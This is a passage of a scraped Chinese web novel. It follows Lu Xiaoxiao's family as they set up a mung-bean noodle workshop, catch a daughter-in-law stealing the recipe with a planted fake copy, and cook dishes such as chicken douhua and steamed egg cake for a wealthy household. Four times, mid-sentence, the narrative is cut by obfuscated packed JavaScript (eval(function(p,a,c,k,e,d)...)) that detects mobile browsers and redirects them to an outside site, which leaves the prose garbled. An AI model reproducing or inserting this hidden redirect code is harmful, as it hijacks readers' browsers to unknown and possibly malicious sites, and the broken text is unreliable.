“伯伯、伯娘，想必春芬姐与你们说了，胡记商行想要卖我们的粉丝，今日寻你们来，便想商议下，我们如何和胡记商行合作，咱之间又如何分工分成的事。” “晓晓你说，这事我们听你的。”卢大娘子正色道。 卢晓晓先将胡记商行的两种合作模式说了一番，然后道，“我想着我们对销售的事情不熟悉，不若就直接将粉丝卖给胡记商行，剩下的事情我们就不用管了。” “这成，我们只管做，但是一个月五千斤，我们自家肯定是做不了这许多的。”卢大富欣然同意。 “这正是今天要商议的事情，如果要跟胡记商行合作，我们就要多找些人来做粉丝，不光是人，工具也要增加，粉丝晾晒的场地也要增加。” 卢晓晓停顿了下，接着道，“我想了两种法子，一种是我们找几户信的过的人家，把量分一分，一起做粉丝，另一种是我们自己办个小作坊，把村里的人招来做工。第一种成本低，第二种能把这做法掌握在自己手中。” “第二种找人来做，也要把制作的法子说出去，怎么把做法掌握在手中呢?”卢大娘子疑惑道。 “我是这么想的，这绿豆粉丝的制作要经过泡发、研磨、过滤、发酵、打糊、搅面、漏粉和晒粉八道工序，前五道工序，可以分散到其他人手中，咱卢家人就负责这最关键的两道工序，搅面和漏粉。这样即可以增加产量，又不叫别人把我们的手艺彻底学了去。”卢晓晓缓缓地解释。 “还得是晓晓，这主意太好了，光知道粉丝的原料是绿豆，知道要磨粉，可不知道搅面和漏粉的要点和手法，这粉丝就做不出来。”卢大娘子拍手称道，很是赞成。 接着两家人便商量起开作坊的事宜来，初期的钱如何投入，之后的利钱又如何分成，一桩桩一件件都商议得明明白白的。 可最后却出了岔子，竟是没用上，这是后话。 52. 第 52 章 卢大贵把卢大富夫妇两回了村，一道回来的还有卢晓晓。卢晓晓回来，是为了张罗起粉丝作坊的事。 水源是做粉丝的一个重要条件，往日里做的不多，卢大富父子三人就直接从河里担水回来，一趟来回得小半个时辰，往后做得量多，就不能这么干了。 几人便想到了杜家宅子，杜秀才的宅子建得早，离河岸近，门前还有块空地。如今宅子又空置着，正适合用来做粉丝。 卢大贵家出场地，卢大富家花钱添磨和缸，这是两家商议好的。 石磨三口和大缸三口，再加上卢大富家正在用的磨和缸，四口石磨同时磨粉，一天约摸能做一百斤的粉丝，一月能做上三千多斤，再多的卢家人也做不过来了。 物以稀为贵，这产量比需量少上一些，未必不是好事。 到了村子，卢晓晓先在村西边下了车，去找赵云霞，粉丝作坊打算招六个人，赵云霞就是人选之一。 卢大贵和兄嫂则先回杜家宅子看了看，比划了下如何放磨，如何放缸，干活的人才最便宜，又担着桶往河边走了走，看担水来回要多长时间。 邻居张大娘正好从娘家回来，挎着个篮子，里面装了好些菜，见三人出来又进去的，好不忙活，问道，“这是干嘛呢，丢东西啦?” “没有的事，这宅子往后要好些时间不住人，看看能不能用来做些别的事，也省得光放在这，回头遭了贼。”卢大贵道。 “这宅子在这能干啥呀，这宅子虽说建的好，可是村里不缺房子，这又不像镇里的宅子能租出去。我说大贵呀，你们镇上的宅子铺子一个月的租金多少钱呐，我前两日去镇上看了看，哟，那铺面可真是大呀。”张大娘叭叭道。 “这铺子的事情都是惠娘和晓晓张罗的，我不知道月租多少。”卢大贵朴实的笑道。 “晓晓真是有本事啊，是有十二岁了吧，可说亲啦?这女娃子呀，嫁人有如投胎，可得好好选人家。这外头可不是人人都跟你们卢家人似的心善呀！照我说啊，寻个知根知底的最好！你看咱俩家……”张大娘张口就要推荐她儿子。 卢大贵连忙打断道，“晓晓还小呢，我跟她娘不准备给她这么早说亲。她又是个有主见的，这说亲呀，还得听她自个的想法。” “你家二郎呢，年龄不小了吧?也没说亲吧?我跟你说，我有个娘家侄女，长得好，性子好，很是能干，如今正要说亲，我看和你家二郎很是相配，不如找时间让两年轻人见上一面?”张大娘又说道。 推荐不了儿子，就推荐侄女，想起前两日在铺子里见到的赵杏花，那气色，那精气神，那叫一个好呀！卢二娘子还细声细语地叫她去吃饭。这样的婆家真是打着灯笼都寻不着，她要为她侄女争上一争。 “二郎的婚事都是她娘在张罗呢，我可插不上手。”卢大贵又道。 “我看张家妹子今日的嘴皮子都快赶上媒婆利索了，可有给我家说的亲事?”卢大娘子打趣道。 “你们家也是好，怀才那孩子也好，就是有那难缠的亲家，我们不爱与那样的人家往来。”说着，张大娘露出了嫌弃的表情。 卢大娘子听罢，心中一惊，若是因为这影响怀才说亲就坏了，忙问道，“张家妹子怎么这样说?上回已经是跟他们家撕破脸了，以后是再也不当亲家往来了，这张家村的人是都知道的。” 想了想，又道，“想来妹子是在张家村见到秀珠了，她娘病了，她要回娘家尽孝道，我们也不好拦着。” “陈喜妹哪里是病了，前几日我嫂子不借她剪子，她还声音洪亮地跟我嫂子吵架来着，还说等她家学会做粉丝，以后有钱了，我们家就是想借，她也不稀罕了。” “她说的真的是粉丝?”卢大富开口打断张大娘的话。 “可不是，我听得真真的，不光是我，好些人都听到了，这粉丝只有你们家会做吧?要不我怎么觉得你们两家和好了。天呐，秀珠不能干出这样的事吧！”张大娘这才意识到可能发生了什么。 “没有的事，想来是她娘乱说的。你知道的，秀珠这一胎是我们卢家第一个孙辈，大家都可重视了。秀珠又一直胎相不稳，灶房里的活都没让她沾过，都是春芬和春芳干的，她能知道什么呀！”卢大娘子强压住心头的震惊，故作轻松地说道。 如今事情的真相是怎么样的还未知，在外人面前，秀珠的名声无论如何都要先守住。 “是啊是啊，我想也是，这粉丝往后怕就是你们家的家传手艺了，怎么就能这样容易的教了外人！陈喜妹那个人啊，十句话里只有一句话是真的，可信不得。”张大娘赶忙接话道。 卢大娘子道，“是，要不我们家怎么跟她闹翻了，张家妹子，我们家中还有事，就不跟你多聊了。” “成成成，你们去忙，我也要回家准备晚食了，还是晓晓在村子里的时候好，可以时不时来卢家买些吃食打牙祭。” 张大娘说完就回了家，心中只希望秀珠别干过什么傻事，这丫头也算她看着长大的。 卢家兄弟两和卢大娘子进了屋子坐下，一时间鸦雀无声，谁都不知道要说些什么。 “我要回去问问她！”卢大富拍桌而起。 “哥你别激动，秀珠她还有孕在身呢，若是出了岔子，如何是好?”卢大贵劝道。 “我看她就是仗着肚子里的孩子，如今是越发地放肆了。”卢大娘子简直怒不可揭。 她这些日子瞧着秀珠是越发的不像话，秀珠前些日子还与卢怀德吵了一架，拿了夫妻两的积蓄回去补贴娘家，说是因为她娘病了。 “二伯、伯娘、爹，我回来了，大家怎么都坐屋里了?” 卢晓晓寻完赵云霞就直接去了卢二伯家，见几人还未回来，这才过来看看，也顺便看看她种的辣椒，若是有熟的辣椒，正好摘些回去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414099|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓晓，二伯一家对不住你们，粉丝的做法怕是被你秀珠嫂子偷回娘家了。”卢大富开口道。 “二伯，怎么这么说?”卢晓晓心中一惊。 卢大娘子把与张大娘的对话给卢晓晓学了遍，又道，“晓晓，这事都是我们的错，我们没有把家管好。” 卢晓晓仔细想了想，定了定神，道，“二伯、伯娘，你们先别急，这事也还没有个定论，再说了，伯娘对张家婶子说的话也有道理，秀珠堂嫂也没去过灶房，估计都不会做粉丝呢，咱可不能轻易冤了人。” 接着又道，“不若咱先问问大堂哥，有没有给嫂子说过粉丝的做法。咱再问问春芳姐，嫂子有没有在灶房外边看过大家做粉丝。” 卢春芬说过，他们家为了避免做粉丝的手艺被人学了去，每次做粉丝的时候，卢爷爷在前院守着，卢春芳在后院看着，是防得严严实实的。只是可能没有防着自家人。 “成，我们这就回去问。”卢大娘子精神一振。 “可这只能问到秀珠她知不知道这粉丝的做法，也没法知道她是不是有偷方子的心，往后开作坊，我们总不能日日防着她。”卢大贵道。 “不若我们试一试她，一会我写张假方子，等回去后，就说我们决定把方子卖出去，我凭记忆写了一份，想让大堂哥再给补充下，让大堂哥拿回房中。” “成，你去写吧，只求秀珠她能经得起试。”卢大娘子道。 等卢晓晓写完，几人回到卢二伯家，各人的神色都与往常无异。 卢大娘子先是悄悄问了卢怀德有没有把粉丝的做法告诉秀珠，得到否定的回答，卢大娘子稍微松了口气。 卢怀德问怎么了，卢大娘子把今日听到的说了说，卢怀德连忙为秀珠解释，卢大娘子没说什么，只让他等一等。 接着又找来春芳问了问，卢春芳回忆了片刻，道，“前两日，我有见嫂子在灶房的后边走动，我过去问她何事，她说是想出来走一走，说完就回屋了。不过也就一会儿，离着灶房挺远的，也看不着什么。” 卢怀德顿时脸色有些难看，灶房的后边空间又小，地又不平整，上哪走不好，要去那走? “娘，我去问她！”卢怀德听罢就要起身。 “你先坐下，你这样去问，她定是不会承认的。”卢大娘子制止道。 “那娘说，应该如何是好?”卢怀德泄了气，把脸埋在手中，觉得沮丧极了。 接着卢大娘子把假方子的法子说了说，卢怀德只得答应。 商议完，卢晓晓父女俩回了镇上，卢大富一家只等晚食的时候依计行事。 到了第二日，卢晓晓在铺子里心急地等着卢春芬，可等到辰时也未见人来，心中凉了大半，多半是秀珠嫂子被试出来了。 等卢大贵采买回来，两人心急火燎地驾着车回了村里。 此时，杜家村的卢大富家，已是乱成了一团。 53. 第 53 章 时间回到昨日，卢怀德将假方子拿回屋，先是假意改了好一会，改好后又誊抄了一遍，就兴冲冲拿着改好的方子去寻了卢春芬，原来的方子就留到了桌上。 等到了第二日，夫妻俩一起到堂屋里吃早食，秀珠提说要回娘家一趟，卢大娘子应下了。 吃过早食，秀珠把卢怀德送出家门，又回屋收拾了一番，锁住屋子便打算往张家村走。 刚走到院门口，卢怀德回来了，寻她拿里屋钥匙，说是要拿昨日放在桌上的方子，秀珠顿时有些慌乱，道，“什么方子呀?” “就是做粉丝的方子，昨日我重新抄了份给春芬，剩下那份就搁咱屋了，你把钥匙给我，我回去拿就行。” 秀珠故作镇定地说道，“我没见着什么方子，既然抄了份新的，那份旧的还管它做甚?” “哥，那方子寻着了吗，我还等着拿去镇上呢！”卢春芬从屋里出来问道。 “在屋里呢，我这就去拿给你。”卢怀德答道，又催秀珠赶紧把钥匙掏出来。 秀珠只得答应，一边掏钥匙，一边往回走，道，“春芬，这旧方子还要来干什么，我昨日看上面是一团糟。” 春芬上前去搀住秀珠，道，“嫂子，你不知道，那买方子的客人言明了，他要买的是独一份的方子，若是别人也拿到了，他就不给钱了，所以这方子，咱可都得收好了。” 秀珠再磨蹭，走到屋门，钥匙也掏出来了，刚想说自己进去拿。 卢怀德一把拿过了钥匙把门打开，见桌上已是空荡荡的，心中已是有了答案。 卢春芬扶着秀珠，落后了一步进到屋中，道，“哥，方子呢?” “秀珠，方子呢?”卢怀德沉着脸色问道。 “我怎么知道，我又不识字，从来不动这些字的东西，怕是掉到了哪里吧?”秀珠好不容易挤出笑脸回道。 许是信了秀珠的话，又或是希望秀珠的话是真的，卢怀德在屋里寻起方子来。 见卢怀德寻得认真，秀珠心中急得不行，急着把身上的方子扔出去，可卢春芬搀着她稳稳的，她根本没机会掏出怀中的方子。 屋子本就不大，不一会儿，卢怀德就把屋子翻了个遍，自然是没看到什么方子。 “秀珠，那方子是你拿了吧?”卢怀德再也忍不住了。 “你胡说什么呢！我拿你方子干什么！”秀珠大声辩白道。 “你拿来干什么，你心里清楚，你娘都吆喝得张家村的人都知道了。”卢怀德疾色道。 秀珠白了脸，低声辩说道，“没有的事，都是我娘胡说的。” “那你敢让我们看看方子在不在你身上吗?” “我，我……”秀珠跌坐在椅子上，再也说不出辩驳的话。 “春芬、春芳，把你嫂子扶到堂屋吧！”卢大娘子吩咐道。 早在卢怀德找秀珠拿钥匙开门的时候。大家就已经偷偷地关注这边了，见两人吵了起来，这才围了过来。 一家人都到了堂屋，卢大富和卢怀才也从地里回来了。 卢爷爷坐在椅子上直叹气，“我是老了，老大媳妇，这事儿你看着办吧！” 秀珠在椅子上呜呜地哭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419668|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “秀珠，说吧，你为什么这么做?卢家待你也不薄吧?”卢大娘子很是失望。 “娘，我没有，我没拿那张方子。”秀珠还想抵赖，只要没有证据，她就会没事，刚刚来堂屋的路上，她已经想通了。 “春芬、春芳，掏一掏你们嫂子的怀里，兜里，看看有没有那张方子。” 秀珠想要拒绝，可卢家姐妹俩，已经伸手过来，一手扶着她，一手摸方子，不出所料，从秀珠身上搜出了那张方子。 “看你如今还有什么话可说！都是我把你惯坏了，没给你做足规矩。”卢大娘子叹息道。 接着又道，“你回娘家去吧，我们家是容不下你了，既然你这么喜欢帮衬娘家，不若回娘家去。” “娘，我错了，我真的错了，求您饶了我这一回。”秀珠吓坏了，感觉肚子微微地抽动，怕是胎儿也感受到了母体的害怕。 “你做出这样的事情，让人怎么饶了你?饶了你，我怎么给晓晓他们交代?” “只要别跟三叔家说，他们就不知道了。娘，赵杏花做出那样的事，家里都接纳了她，我可怀着卢家的骨肉啊！”秀珠痛哭流涕道。 “哥！嫂子！”突然，院子外传来卢大贵的呼声。 卢春芬起身出去开门，秀珠突然站起身，拽住卢春芬，面向卢大娘子，哀求道，“娘，饶了我吧！” 卢大娘子不为所动，吩咐道，“春芳，去给你三叔开门。” 春芳起身出去开门，秀珠希望破灭的松开拽住卢春芬的手，直愣愣地站在屋子中间，卢春芬只得扶她坐下。 54. 鸡豆花 “粉丝工坊今日开张了，你不去看看吗?我听说那边正在招工，给的钱可多了。”秀珠坐在屋子前，一边做衣裳，一边留心着卢家的动静。 卢家人一大早出了门，秀珠等了好久也不见卢怀德出门，忍不住开口催促道。 “去干什么?那工坊跟我们也没关系，刚搬过来，家里要干的活不少，地里的绿豆该收了。”卢怀德疲惫地道。 “怎么没关系呀?做粉丝的工序你都会呢！你去保准要你，你在工坊里做工，可比从地里刨食挣得多多了。我听说娘在那工坊做了个管事娘子，怀才也去那做工了。” 卢怀德分家那日放话了，若是秀珠再想要卖方子便休了她，秀珠是再也不敢惦记着方子，只能从别处动脑筋。 “我去工坊做工，谁在家看顾你，谁去做地里的活?” “我自己能看顾自己，再说咱家离着爹娘家也不远，春芳又在家，有事叫一声，她总会来的，地里的活让爹帮帮忙呗！”秀珠的如意算盘打得是噼啪响。 “爹和春芳没去工坊就是为了照顾好家里，咱家已经分出来了，哪能还靠着他们，咱自家的事情，就该自个安排妥当了。” “那邻里邻外的都相互帮忙，爹娘和三叔家分家后也没少往来，咱家哪用分得那样清楚。” “你脑子是坏掉了吗?咱是分家了，说分家是好听的，说难听点，是你干了那档子见不得人的事，咱被赶出家门了，爹娘分家的时候多照顾我们一些，你又得意忘形了是吗?” 卢怀德越发地觉得秀珠本质上跟她那爱占便宜的娘一模一样。 秀珠没了声，可心中很是不服气，等第二日她大姐秀珍挎着一篮子菜来看她的时候，好一通抱怨。 秀珍听着妹妹的抱怨，一边附和，一边在心中冷笑，自己的这个妹妹真是蠢，干出那样的事没被休掉还不好好过日子，又在这作天作地的。 前些日子，卢家和张家断了往来，秀珍日子是难过极了，她娘时常来找她，她婆家磨不开脸将人赶出去，就日日磋磨她。 秀珠做出了这样的事，她的日子就好过多了。她娘虽然时常上门，可也只是喝喝水，坐一坐，一颗菜都没让拿走，跟秀珠一对比，她婆婆就对她满意极了。 卢家分家的事情处理的隐秘，对外是半句没说秀珠偷方子的事情。秀珍的婆婆和嫂子是如何知道的?自然是秀珍说了。 有热闹看了，这婆媳、妯娌的关系是空前的和谐，吃过早食，她婆婆就催她出门来杜家村看妹妹，带来的菜还是她嫂子一大早摘来的。 “姐，我说错他了吗，如今我就快生了，往后使钱的地方多了去了，再说了，分了家这娃不还是他们卢家的孙儿，帮忙不是应该的吗?” “你先好好地养好胎吧！”秀珍实在是忍不住了，真怕妹妹蠢得被赶回了娘家。 “我知道的，我如今就在家安心养胎，你看我这个肚子，长得可好了。”秀珠摸着圆润的腹部，很是自得。 “你就好好把这胎儿生下来，往后卢家老两口冲着这孩子也会帮衬你们，你就好好吃、好好歇，只等生下个白胖小子。” 秀珠如今怀胎六月有余，腹部已是大如水瓜，若是卢晓晓在这，定是要让她好好控制体重，少吃多动，孕晚期增长快，最忌讳吃得多还动得少。 卢晓晓可不知道秀珠姐妹俩的对话，这会儿，她正在宋家一丝不苟地剁鸡茸呢！ 十月初二，到了每月给宋老太太做吃食的日子。 青阳粉丝工坊的开张在小小的城关镇很是轰动，再加上工坊的东家中还有宋家的姻亲元家，老太太对粉丝很有兴趣，指名要吃粉丝做的吃食。 卢晓晓今日给宋老太太做的，便是一道海皇粉丝煲，一道冬瓜粉丝汤，再有一道鸡豆花。 虽说都是粉丝，粉丝煲和粉丝汤的做法大有不同。 海皇粉丝煲需将粉丝在水中泡足大半个时辰，然后捞起沥干水分，加入鸡蛋黄，拌匀，让每一根粉丝都裹上蛋黄，起锅将鱿鱼、蛏子肉、鲜虾仁炒熟，加入高汤，放粉丝焖煮上一刻钟，做出来的粉丝口感爽滑，香味浓郁。 粉丝汤则只需将粉丝泡上一刻钟，冬瓜切成薄片，锅中下入荤油，加入虾米炒香，倒入开水煮沸后，依次放入冬瓜、粉丝，煮沸后调入盐和味精，便可起锅。 前两道菜易做，讲究的是第三道菜，将鸡肉做出豆花的口感，清淡醇厚，口感滑嫩，最适合宋老太太食用。 鸡豆花需用新鲜的老母鸡，先在清水中浸泡清洗干净，切出鸡脯肉，将剩下的鸡身切块焯水后，放入锅中熬制汤底，大火烧开，小火慢炖。 接着处理鸡脯肉，顺着纹路将鸡脯肉切成片，切肉时将筋膜取出，再将菜刀翻转，以刀背将鸡肉剁成茸，然后用刀刃轻轻地将鸡茸刮出，再一次将肉中的筋膜去除后，继续以刀背剁肉，直至将鸡脯肉剁得足够细腻，放入筛子中，挤压过筛，确保鸡茸足够细腻，不留筋膜。 将剁好的鸡茸盛入碗中，加入清水、鸡蛋清、盐、味精搅拌成浆，放在一旁备用，此时鸡汤也熬足了时辰。 揭开锅盖，浓郁鲜香的鸡汤味扑鼻而来，鸡豆花用的汤需够清亮，炖好的鸡汤还需去油去腻，才能保证鸡豆花清爽的口感。 若想做出茶色的清汤，就得往汤中加肉，卢晓晓一早就使灶房上的婆子准备了一碗猪肉糜，一碗鸡肉糜。 将猪肉糜加清水调制成浆，倒入鸡汤中，沿着一个方向轻轻地搅拌，让肉糜均匀的混入汤中，继续以小火煨汤，待肉糜渐渐浮出汤面，变成肉饼状，将肉糜捞出，此时的鸡汤已变得清亮，汤中大量的油脂和杂质已被肉糜吸出。 再用同样的手法将鸡肉糜加入汤中，进一步的去油去腻。鸡肉糜不仅能去油、去杂质，还能给鸡汤提鲜。 最后再将鸡汤过筛，将汤中的肉糜去除，制得的汤如清茶一般，口感清爽，又足够鲜美。 将清汤盛入小碗中。接着取一炉子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483518|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上架一只小锅，放入茶汤煮沸后，改成小火，用勺子将茶汤打出漩涡，倒入鸡茸浆，待鸡茸渐渐凝聚成豆花状时，舀出盛于汤碗中，再放上一颗红枸杞和一颗青菜点缀。 卢晓晓将三道吃食分装到碗中，便请小厨房外等候的婆子去报予管事，管事又报予宋老太太院里的管事妈妈。 不一会儿，宋老太太屋里的大丫鬟领着几个小丫鬟来了，将做得的吃食端了走，让卢晓晓在小厨房里候着。 过了约摸一顿饭的时间，大丫鬟来唤卢晓晓，说是老太太要见她，便领着卢晓晓到了院里。 今日的吃食做了四份，卢晓晓想着是跟上回一样，另外的三份是给宋老爷、宋少爷和宋小姐准备的。 到了膳厅，发现坐着的均是女眷，除了宋老太太，还有宋夫人和宋小姐，以及一个不识得的妇人，这妇人坐于宋老太太左边侧，衣着不如宋夫人华贵，但气势却更胜一筹。 “来，给你介绍下，这便是卢小娘子，别看她年龄小，做的吃食可好了，今日你来是赶着了。”宋老太太对那妇人说道。 “我这是沾了老太太的福气，不然哪能吃到这样好的吃食呐！这粉丝吃起来都比铺里吃的要滑要香。”那妇人笑道。 “就属你会讨老太太欢心，在我那处听说老太太这有好吃食，巴巴地拉了我过来，好在老太太不嫌咱叨扰。”宋夫人打趣道。 “昨日粉丝工坊开张，我家老爷回去说，这工坊的东家中，有一小娘子，年龄小，却了不得，在镇上开了间吃食铺子，做的吃食可好了，嘱咐我定要到卢记食坊瞧一瞧。今日赶巧碰到小娘子过来给老太太做吃食，我自是要腆着脸来跟老太太讨口吃的。” “你们来跟我这个老太婆吃饭，我欢喜得很，吃东西就是要热热闹闹的。” 老太太接着又道，“卢小娘子，这位是马夫人，她啊，是镇上里长的娘子。” 卢晓晓给马夫人见过礼，又问老太太和几位夫人小姐今日吃着可好，可还满意。 “听丫鬟说这鸡豆花是鸡肉做的，可是真的?这鸡肉竟能做出这样细腻滑嫩的口感。”老太太很是喜欢鸡豆花。 “回老太太的话，这鸡豆花确实是用鸡肉做的，将那鸡脯肉剁成细细的肉糜，再经过一番处理，才做出这碗汤清肉白的鸡豆花。” “卢小娘子心思巧的很，做出来的吃食是又好看又好吃。就拿粉丝来说，那看着是晶莹剔透的，听我家老爷说昨日是县里的主簿来揭的牌匾，那牌匾上的字是县令亲自写的呢！县里啊，还把这工坊开张的事通知了商会，昨日来了不少商户呢。我家老爷还说，小娘子年龄虽小，这做生意却是老道，叫我多学学呢！” “谢马夫人夸，小女是个没见识的，只会做吃食。这工坊开张都是元老爷和元大少爷张罗的，我是什么都不懂，见昨日来的人多，光看了个热闹。” “卢小娘子好本事，打通了县里的路子，这是看不上宋家和我这小小的里长娘子了。” 55. 鸡蛋糕 马夫人的话一出，卢晓晓立马跪伏在地，头贴着地，一边挤眼泪，一边瑟缩地回道，“小女冤枉呀，我对宋家和夫人都是真心敬爱的，不知夫人如何有此一说?” “何以你做这粉丝的生意，不寻宋家，不寻镇里，偏生舍近求远寻到县里去?”马夫人责难道。 “这是元家寻的小女呀，我一个乡下丫头哪里能想到这粉丝能开工坊，铺子里多卖一碗菜就够让我高兴的了。”卢晓晓抬头回道，一双杏眼已是眼泪汪汪。 “她一个小姑娘哪能懂这些，你快别吓唬她了，这事我略知一二，元家寻她买了金玉糕的方子，知道她家吃食味好。我家大女婿每次回镇里都要到卢记食坊买些吃食，怕是见粉丝稀罕，才琢磨起这生意来。”宋夫人柔声解释。 “快起来，怎么就跪在了地上，我这可不兴这一套，你只管做好你的吃食就行了，别的你都不用理会。”宋老太太面有不虞道。 无势之人寻人借势，有势之人以势谋利，这是世间常事，可马夫人来她院子里作势，宋老太太就不高兴了。 城关镇上有三家一等一的大户，一是管着镇上码头的李家，主要经营盐、米生意，二是迁到县里的元家，以知味斋起家，糕饼铺、茶楼茶肆遍布青阳县，第三便是宋家，宋家的生意不多，但爱买宅子，在这县里镇上有好些庄宅铺子。 马夫人也是乖觉，见老太太生气了，赶忙笑道，“还真是个小姑娘，不过玩笑两句，就跪下了，胆子小的很，赶紧起来吧。” 卢晓晓抹了抹泪水，站起身，谢过马夫人，又谢过老太太，接着小心地回答了几个问题，才退了出去。 回到小厨房，只觉得背后一阵发凉，原只想着元家生意门路广，先前又有合作基础，便寻了元家做这粉丝生意。元家能寻到县衙做依仗，那也是极好的事情，没想到竟遭人眼红了。 粉丝工坊有元家，又有县里做依仗，他们自是不能动什么，可就怕他们给卢记食坊使绊子，正所谓强龙不压地头蛇。 可若为了求心安，平白让两分利出去，卢晓晓也是不愿意的。 还是得在镇上再做门生意，再寻处势力依仗才行。上回宋老爷说开粥底火锅铺子，也是个不错的主意，可今日宋老太太又没提，卢晓晓就摸不清宋家的心思了。 不知宋家今日只是做个纯粹的看客，还是想借马夫人的嘴敲打她。若是前者，应是对做吃食生意没兴趣，那卢晓晓就要另找一处借势，若是后者，那便是想做但又不想带着马夫人，这就麻烦了。 卢晓晓心神不宁地在小厨房候了好一会儿，才等来老太太院里的大丫鬟，道，“小娘子，这是老太太给的打赏，老太太说她很喜欢小娘子做的吃食，盼着小娘子下次再来呢！” 卢晓晓接过红封，不着痕迹地掂了掂，约摸还是十两银子，小心地塞进怀里，又从袖口摸出一串钱塞到大丫鬟的手中，道，“今日多谢姐姐了，日后若是得闲，便到卢记食坊来，我给姐姐做吃食。” 回去的路上，卢晓晓仔细琢磨了宋老太太和宋夫人说的每一句话和每一个表情，还是猜不透宋家的心思。 到了铺子，卢晓晓一头扎进了灶房，每当卢晓晓有想不明白的事时，就喜欢做吃食，可以在做吃食的过程中，清空大脑里纷杂的思绪。 “晓晓，回来啦，宋老太太满意今日的吃食?”灶房里的卢二郎见卢晓晓进来，开口问道。 “宋老太太很是喜欢鸡豆花，又给了我十两赏钱。”卢晓晓整理下心情，语气轻松的说。 “晓晓，要做什么新吃食呢?”卢二郎见卢晓晓一通忙活，凑过来问道。 “做几个鸡蛋糕，甜甜口。”不开心的时候就需要吃些甜食，灶房里的食材不多，卢晓晓打算做个鸡蛋糕。 取两只鸡蛋，打入碗中，加入糖霜，用筷子快速的搅拌，约摸搅拌一刻钟的时间，鸡蛋液打至颜色发白，打出泡沫，打鸡蛋的过程最能解压。 然后加入两滴白醋去腥，一勺菜油增香，再将面粉过筛后加入碗中，倒入温水，继续快速搅拌，打成泡状，接着提起筷子，蛋液滴落但不会消失，鸡蛋液便做好了。 再寻几只表面光滑的小碗，抹上菜油后倒入鸡蛋液，将盛满蛋液的小碗放入蒸笼中，放入蒸锅中，隔水蒸上两刻钟，做出来的鸡蛋糕喷香绵软。 卢晓晓趁热取出一只鸡蛋糕，用手捏了捏，按一按，蓬松暄软的鸡蛋糕手感好极了，再深吸一口空气中的香甜气味，整个人都被治愈了。 食物如此美味，何须为俗事扰了心情呢?若是宋家想要合伙做生意，自会使人来找她，她只需等待就好。 理清了思绪，卢晓晓觉得倍感轻松。 “二哥，快来尝尝我做的鸡蛋糕。”卢晓晓将鸡蛋糕掰成两半，递给卢二郎。 卢二郎接过来，只觉得触手柔软，吃进口中更是松软香甜。 “晓晓，这真好吃，今日给宋老太太做的这鸡蛋糕吗?” “今日给宋老太太做的鸡豆花，不过二哥你倒提醒我了，这鸡蛋糕松软，宋老太太应是喜欢吃，我再做一锅，一会送几个过去，让春芬姐也带几个回去吃。” “我来帮你，是要打鸡蛋对吧，我刚才都看会啦！”卢二郎积极道。 兄妹两在灶房做鸡蛋糕，卢二娘子在外头迎来了个意外之客。 “惠娘，晓晓可在铺子里?我寻她有点事。” 卢二娘子抬头一看，见是邻居张大娘，身后跟着杜春花。杜春花比上次见的时候瘦了不少，眼睛红肿，张大娘也不如往日有精神。 忙走出来，拉着张大娘的手往后院走，道，“出了什么事?晓晓在后头灶房里，咱到屋里说。” 到了后院，对着灶房唤了一声卢晓晓，又把张大娘和杜春花带到堂屋安置坐下。 卢晓晓不一会儿就来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494530|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，端来了一壶茶和一碟子切成块的鸡蛋糕。 “张家婶子、春花姐姐，我正在跟哥哥做鸡蛋糕，你们尝一尝。” “晓晓有心了。”张大娘见晓晓一个小姑娘，他们大人都解决不了的事情，找晓晓是不是太为难人了? 和杜春花一人取了块鸡蛋糕，心不在焉地吃到嘴里，不知如何开口。 “嫂子寻晓晓何事呀?”卢二娘子见两人神色恍惚，着急道。 “晓晓，粉丝工坊开张那日，婶子看县里的主簿和镇上的里长都来了，婶子想托你跟他们说两句，请他们帮春花主持公道。” 卢晓晓一听，犯了难，县里的主簿她不熟，人家也不管这村里的事，镇上的里长看着很和善，可今日见了里长娘子，想来也是个见钱眼开的。 “春花出了什么事?我刚就见她脸色极差，比之前也瘦了不少。”卢二娘子问道。 